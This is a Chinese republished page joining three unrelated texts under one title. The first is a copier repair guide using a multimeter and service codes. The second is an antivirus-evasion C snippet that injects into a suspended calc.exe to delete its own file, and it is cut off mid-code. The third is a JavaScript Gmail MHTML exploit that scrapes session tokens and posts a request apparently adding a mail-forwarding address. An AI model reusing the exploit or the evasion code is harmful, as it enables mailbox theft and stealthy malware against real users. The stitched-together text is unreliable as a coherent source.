代码测试

2024-08-25

代码测试(精选三篇)

代码测试 篇1

该方法主要用万用表电阻IKΩ挡来测量某些元件或线路的通断情况,用电压直流挡来测量光阻断器的通断和时序电压变化情况,用电压交流挡来测量交流电源的情况。

1、定影部位的测试

定影部位测试主要是当复印机数显屏上出现E000、E001、E004故障代码时进行的测试,拆除定影器后用万用表lkΩ挡测试,将两表笔插人定影灯插头内看是否导通,若“通”,说明定影灯完好,再用两表笔分别接到热动开关两端,若“通”,说明热动开关也是好的。再用万用表10KΩ挡来测热敏电阻,将两表笔插人热敏电阻的插头,这时万用表针是不动的,用手握着热敏电阻的表面,使热敏电阻的表面温度发生变化,若表针有微动,这说明热敏电阻是好的,若表针一直不动,说明热敏电阻已损坏。若经过测试,有损坏的元件应更换。若上述三元件都未损坏,这就是控制系统的问题,可用主板上的维护开关(Sl)来解除上述的故障。

2、光阻断器和探测开关的测试

这类机器有8个光阻断器和1个出纸探测开关可用万用表测试。(1)透镜初始位量Q1光阻断器的检测,万用表调到直流10V挡(+)表笔接到主板的J311-6端,负表笔接J311-5端,在待机状态下用纸插入光阻断器“凹”型槽内盖住Q1时,表针应指示5V。若抽出纸,这时表针指示为0V,这说明Ql正常。若表针指示有其它的变化说明Ql异常应更换。(2)空白挡板初始位置Q2的检测,还是用直流10V挡,正表笔接J302-2,负表笔接J302-1,拆下Q2要使接线不断开,在待机状态下,用纸插入Q2“凹”型槽内,表针指示约5V,抽出纸表针指示0V,说明Q2正常。若表针有其他的变化,说明Q2异常。(3)预校准探纸Q3的检测,还是用直流10V挡,打开机器的前门和右侧门,放下输纸底板,由右侧门沿进纸方向把纸放到校准辊的位置,用正表笔接J306-6端,负表笔接J306-5端,在待机状态下,表针指示约5V,将纸取出后表针指示0V,说明Q3正常。若表针指示有其它的变化,说明Q3异常。(4)扫描初始位置Q4的检测,用万用表直流10V挡,正表笔接J3133,负表笔接J313-4,在待机状态下用手移动扫描架,当扫描架在初始位置时,表针指示约5V。当扫描架不在初始位置时,表针指示0V,说明Q4正常。若有其它的指示,均说明Q4异常。(5)分离探测Q5的检测,用万用表直流10V挡,将正表笔接在J309-8,负表笔接在J309-7,打开前门,释放输纸底板,用手指拨动遮光杆。当遮光杆下移时,表针指示为0V,当遮光杆上移时,表针指示为5V,说明Q5正常。若表针有其他指示说明Q5异常。(6)上纸匣探纸Q6的检测,用万用表直流10V挡,将正表笔接到J318-2端,负表笔接到J318一1端,取出上纸匣,在待机状态下,用手拨动遮光杆。当遮光杆上移时,表针指示为5V,当遮光杆下移时,表针指示为0V,说明Q6正常,有其他指示则说明Q6异常。(7)下纸匣探纸Q7的检测,用万用表直流10V挡,正表笔接J318-5端,负表笔接J318-4端,取出下纸匣,在待机状态下,用于拨动遮光杆。当遮光杆上移时,表针指示为5V。当遮光杆下移时,表针指示为0V,说明Q7正常。若有其他指示,Q7为异常。(8)手送纸传感器Q8的测试,用万用表直流10V挡,正表笔接J318-8端,负表笔接J318-7端,在待机状态下,打开手送纸机构的顶部,用手指移动左侧的遮光杆。当遮光杆下移时,表针指示为5V,当遮光杆上移时,表针指示为0V,说明Q8正常,若有其他指示,则均为异常。(9)出纸探测S8开关的检测,用万用表直流10V挡,正表笔接J313-7,负表笔接J313-6,打开机器前门,在待机状态下,开闭出纸左侧门,当出纸门打开时,磁力杆将移开传感器,这时表针指示为5V,出纸门闭合,磁力杆的磁铁与传感器接触上,这时表针指示约为0V。

3、无直流电源

拔下复印机的电源,用万用表1KΩ挡,检测直流电源板上的FU201保险管是否导通,若“通”,拔下直流电源板上J202和J203插头,插上电源并打开机器,用万用表直流30V挡,测量电源板上的J202-1和J202-3为24V J202-4J和202-5为24V、J202-7和J202-6为12V、J202-9和J202-8为5VJ203-5和J203-4为24VJ203-3和J203-8为5V、J203-1和J203-2为12V。电压是否正常,若正常,说明直流控制板异常或损坏,若异常,说明直流电源板损坏。

4、无交流电源

先用万用表交流250V挡测J201—1和J201-2是否有额定电压220V,若“有”,再用万用表1KΩ挡测电闸两端是否导通。若“不通”,按一下电闸再测一次,看是否导通,若仍不通,说明电闸已损坏。若电闸导通这说明电源线或线路滤波器已损坏,再检测门开关S1,用万用表笔分别接到门开关的两端,关门表针指示0,开门表针指示为无穷大。若“是”,说明门开关正常。

5、对位辊不转

检测对位电磁铁CL3,把万用表调到1KΩ挡,拔下直流控制板的J303插头,两表笔分别接到J303-9和J303-10端看阻值是否约为120Ω,若“不是”,更换CL3,若“是”,再将J303插到直流控制板上,用万用表直流30V挡,把正表笔接到J303-9,负表笔接到J303-10,按“复印”键,电压指示是否从0V变到24V,若“不是”,即直流控制板损坏,若“是”,就是其他机械问题。

6、扫描架不能向前后移动

把万用表调到直流10V挡,正表笔接J308-2端,负表笔接J308-6,按“复印”键,表针变化是否0V到5V,再把正表笔接J308-7端,负表笔接J308-6端,检测扫描架返回时,表针指示约为5V,其余时刻为0V。若“不是”,说明直流控制板损坏。若“是”,说明扫描驱动电机损坏,再用万用表直流30V挡测J402-5(+)和J402-4(—)之间电压是否约为24V。若“不是”,说明直流电未能加上,若“是”,说明直流扫描电机(PM2)损坏。

7、计数器不工作

关闭复印机主电源开关,拔下直流控制板上的J323,把万用表调到1KΩ挡,在配线侧把表笔分别与J323-1和J323-2相连,表针是否摆动。若“不是”,更换计数器,若“是”,再把J323插回直流控制板。打开复印机主电源开关,把万用表调到直流30V挡,正表笔接J323-2,负表笔接J323-1端,按“复印”键,观察电压是否由0V变为24V,然后再变为0V。若“不是”,说明直流控制板损坏,若“是”,即为计数器损坏。

8、预曝光灯不亮

把万用表调到lKΩ挡,拔下J307插头在配线侧把表笔分别接到J307-5和J307-6端,表针指示是否为十几欧姆。若“不是”,说明预曝光灯损坏,若“是”,说明直流控制板损坏。

9、透镜不移动

先用上述方法检测透镜初始位置传感器Q1是否正常,若“正常”,再用万用表直流30V挡,负表笔接J301-2 (接地)正表笔接J308-12、11、10、9四个端子,看其各端子的电压是否为20V。若不正确,说明直流控制板损坏,若正确,说明透镜驱动电机损坏。

1 0、无色粉指示

检测色粉传感器Q9,将万用表调到直流10V挡,把正表笔接J306-2端,负表笔接J306-1端,并确保显影器中无墨粉,测试电压是否为0V。若“不是”,说明传感器损坏,若“是”,说明直流控制板异常。

二、代码测量

主要采用复印机自身所带的软件程序,来检测某一部位和某一元件工状况,或是用来检测复印机内的一些电压参数和显示功能。

1、维护状态的检测

首先要让复印机进入维护状态,先打开复印机主电源,待预热灯变为绿色,取下出纸口后下侧的调试盖板,按一下直流控制板上的维护开关S1,在数显屏上显示[0],这时就进入维护状态。按"SORT/GROUP"键(即“分离/分组”键),扫描架前移进AE (自动曝光)测量点,扫描灯亮,此时AE传感器输出电压显示在控制面板上的数显屏上。数显屏上显示的数是AE传感器实际输出电压的10倍,例如:显示[20]实际传感器输出电压为2V。

2、进行[1]状态的检测

先让复印机进入维护状态,用数字键输入[1],按"SORT/GROUP"键,数显屏显示出AE斜度的读入电压数值,也可以用VR2来调整AE斜度的读入电压。其数显屏所显示的数值,是实际AE斜度的读入电压的10倍,例如:显示[25]实际是2.5V。

3、进行[2]状态的检测

用这一状态来检测复印机使用的交流电机会因频率的波动使转速产生波动,结果使图像扩大或缩小。先进入复印机维护状态,用数字键输入[2],按"SORT/GROUP"-键,在控制面板上的数显屏上显示电源频率数据。它显示出只是一个误差值,一般以加、减、小于1的数出现,同时它是以60Hz为基准。如:显示[-0.5],实际频率为60+[-0.5]=59.5Hz,如:显示[+0.5],实际频率为60+[+0.5]=60.5Hz。

4、进行[3]状态的检测

这一检测主要是检查预曝光是否点亮和主电机的运转情况。进入复印机维护状态,用数字键输入[3],按“SORT/GROUP”键,这时预曝光灯点亮同时主电机运转,检查预曝光灯点亮是否正常,主电机运转是否正常。要退出检测只要再按一次维护开关S1或直接关闭主电源开关。

5、进行[4]状态的检测

这一检测主要是测试控制面板上所有显示灯和标识灯是否正常。进入复印机维护状态,数字键输入[4],按“SORT/GROUP”键,这时控制面板上的所有显示灯和标识灯点亮,若有不亮的说明该灯已损坏,这和该功能是否正常无关,只是不能正确标识该功能而已。这种状态一般在复印机没有任何故障代码出现,而且机器不工作状态下使用,检查是否有些功能显示不正常,而造成机器不工作。例如:卡纸灯坏,不显示卡纸信号,但机器看似很正常而又不工作,这时可用该状态检测一下控制面板的显示。若卡纸灯不亮说明卡纸灯已坏,这时只要检查机器的几个卡纸部位,把被卡的纸取出,机器就会正常。

6、进行[5]、[6]、[7]状态的检测

这三种检测都是文稿规格辨识的输出电压显示,它们分别为文稿规格辨识0、1、2。进入复印机维护状态,用数字键分别输入5或6或7,按下“SORT/GROUP”键,打开复印机盖板时,数显屏上显示40或更低,关闭盖板显示18或更高,这些状态均为错误状态,应更换相应的文稿辨识传感器。其传感器的输出电压要换算,例如:显示18实际输出电压为1.8V。

三、结束语

本文主要是阐述了对复印机电路系统检测的方法,如果能正确使用这些方法,会在维修机器时少走弯路,尤其能充分的使用机器自带的程序来测试机器,是诊断机器故障的最有效的手段,也是调好机器和准确判断故障的具体位置的最好方法。

摘要:复印机的电子测试主要是采用万用表对其各部位的执行元件进行测量,并检测出该元件的工作情况好与坏,为后续的维修做出正确的判断。而代码测试主要是采用复印机自身所带的软件程序对复印机控制和指挥系统进行检测,正确判定复印机某一部位或某一元件的故障而做理论依据。

关键词:电子测试,代码测试,复印机

参考文献

已测试通过的免杀代码 篇2

//hi.baidu.com/zxhouse

#include

BOOL DeleteMyself(WCHAR *pHelper)

{

int ret;

WCHAR helper[MAX_PATH];

ZeroMemory(helper, sizeof(helper));

if (pHelper)

wcsncpy(helper, pHelper, MAX_PATH-2);

else

wcscpy(helper, L”calc.exe“);

STARTUPINFOW si = {sizeof(STARTUPINFOW),0};

PROCESS_INFORMATION pi;

HANDLE hSYNC = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());

if (CreateProcessW(NULL, helper, 0, 0, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi))

{

CONTEXT ctx = {CONTEXT_FULL,0};

ret = GetThreadContext(pi.hThread, &ctx);

WCHAR MyselfPath[MAX_PATH];

int nPathLen = GetModuleFileNameW(NULL, MyselfPath, MAX_PATH);

struct StackContext

{

DWORD_PTR DeleteFileW;

DWORD_PTR WaitForSingleObject_argv1;

DWORD_PTR WaitForSingleObject_argv2;

DWORD_PTR ExitProcess;

DWORD_PTR DeleteFileW_argv1;

DWORD_PTR shit;

DWORD_PTR ExitProcess_argv1;

}stackctx;

HMODULE hKernel32 = GetModuleHandleW(L”Kernel32.dll“);

ctx.Eip = (DWORD_PTR)GetProcAddress(hKernel32, ”WaitForSingleObject“);

ctx.Esp = (DWORD_PTR)VirtualAllocEx(pi.hProcess, 0, 512*1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

ctx.Esp += 256*1024;

stackctx.DeleteFileW = (DWORD_PTR)GetProcAddress(hKernel32, ”DeleteFileW“);

stackctx.WaitForSingleObject_argv1 = (DWORD_PTR)hSYNC;

stackctx.WaitForSingleObject_argv2 = (DWORD_PTR)-1;

stackctx.ExitProcess = (DWORD_PTR)GetProcAddress(hKernel32, ”ExitProcess");

stackctx.DeleteFileW_argv1 = (DWORD_PTR)VirtualAllocEx(pi.hProcess, 0, (nPathLen+1)*sizeof(WCHAR), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

ret = WriteProcessMemory(pi.hProcess, (LPVOID)stackctx.DeleteFileW_argv1, MyselfPath, (nPathLen+1)*sizeof(WCHAR), NULL);

if (!ret) return FALSE;

stackctx.shit = 0;

代码测试 篇3

好久没更新博客了,翻到一段WIN7下GMAIL MHTML漏洞的测试代码 ,最后写好的完整版不知道丢哪去了 - -!

MHTML漏洞在WIN7下要发起AJAX请求,不像XP直接请求HTTP协议就可以了,请求的URL必须也在MHTML协议里,否则没有权限,WIN7下同源策略貌似比XP严格?不知道有人注意到这个细节没有,

要测试GMAIL进行相关权限的CSRF,必须取到AT和IK两个参数才可以成功,当然取这两个参数的方法很多,可以从COOKIE里取也可以从页面直接取,下面的代码直接从页面里取了。

xmlHttp=new ActiveXObject(“Microsoft.xmlHttp”);

xmlHttp.open(“GET”,“mhtml:mail.google.com/mail/h/0/”,true);

xmlHttp.send;

xmlHttp.onreadystatechange = function() {

if (xmlHttp.readyState == 4) {

if (xmlHttp.status == 200) {

REX = /href=“.*?at=(.{34})”>/.exec(xmlHttp.responseText);

AThash = RegExp.$1;

xmlHttp.open(“GET”,“mhtml:mail.google.com/mail/”,true);

xmlHttp.send();

xmlHttp.onreadystatechange = function() {

if (xmlHttp.readyState == 4) {

if (xmlHttp.status == 200) {

REX = /GLOBALS=[.*?,“(.{10})”,/.exec(xmlHttp.responseText);

IKhash = RegExp.$1;

xmlHttp.open(“POST”,“mhtml:mail.google.com/mail/?ui=2”+“&ik=”+IKhash+“&view=mdlg&at=”+AThash,true);

xmlHttp.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);

xmlHttp.send(“mdrp=1&mda=%0D%0A”+Tmail+“%0D%0A”);

}

}

}

}

}

}

本文来自 360文秘网(www.360wenmi.com),转载请保留网址和出处

【代码测试】相关文章:

关于软件代码测试工具的广告词05-15

js代码改写成jq代码的方法07-06

部门代码07-19

控制代码06-09

自动代码08-06

网页代码08-13

代码开发09-05

代码规范示例04-23

代码检查记录04-26

代码注释模板04-26

上一篇:益气复脉方下一篇:扩散传播